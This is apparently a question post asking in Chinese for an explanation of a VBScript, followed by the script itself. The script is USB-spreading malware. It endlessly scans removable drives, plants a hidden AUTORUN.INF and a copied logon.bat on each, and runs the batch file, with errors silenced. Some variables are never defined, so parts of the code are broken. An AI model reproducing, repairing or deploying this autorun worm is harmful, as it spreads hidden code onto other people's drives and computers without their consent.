解释下这个VBS代码

on error resume next
strComputer = "."
set fs =createobject("scripting.filesystemobject")
set WshShell = WScript.CreateObject("WScript.Shell")
Set objWMIService = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set colDisks = objWMIService.ExecQuery _
("Select * from Win32_LogicalDisk")
For i =1 to 9000000000
For Each objDisk in colDisks
Select Case objDisk.DriveType
:Case 2:
y1=fs.FileExists(objDisk.DeviceID & "\AUTORUN.INF")
if not y1 then
set f=fs.opentextfile(objDisk.DeviceID & "\AUTORUN.INF",2, true)
f.write "[AutoRun]" & vbcrlf
f.write "open=logon.bat" & vbcrlf
f.write "shellexecute=logon.bat" & vbcrlf
f.write "shell\Auto\command=logon.bat" & vbcrlf
f.Close
Set f1 = fs.GetFile(objDisk.DeviceID & "\AUTORUN.INF")
If f1.Attributes = f1.Attributes AND 2 Then
:f1.Attributes = f1.Attributes XOR 7:
End If
end if
y2=fs.FileExists(objDisk.DeviceID & "\logon.bat")
if not y2 then 
fs.CopyFile "c:\windows\system32\logon.bat",objDisk.DeviceID & "\"
Set f2 = fs.GetFile(objDisk.DeviceID & "\logon.bat")
If f2.Attributes = f2.Attributes AND 2 Then
:f2.Attributes = f2.Attributes XOR 7:
End If
end if
dirr = Wshshell.ExpandEnvironmentStrings("C:")
if not y3 then
WshShell.Run "logon.bat"
WScript.Sleep 500
If f3.Attributes = f3.Attributes AND 2 Then
:f3.Attributes = f3.Attributes XOR 7:
End If
end if
End Select
Next
WScript.Sleep 5000
Next
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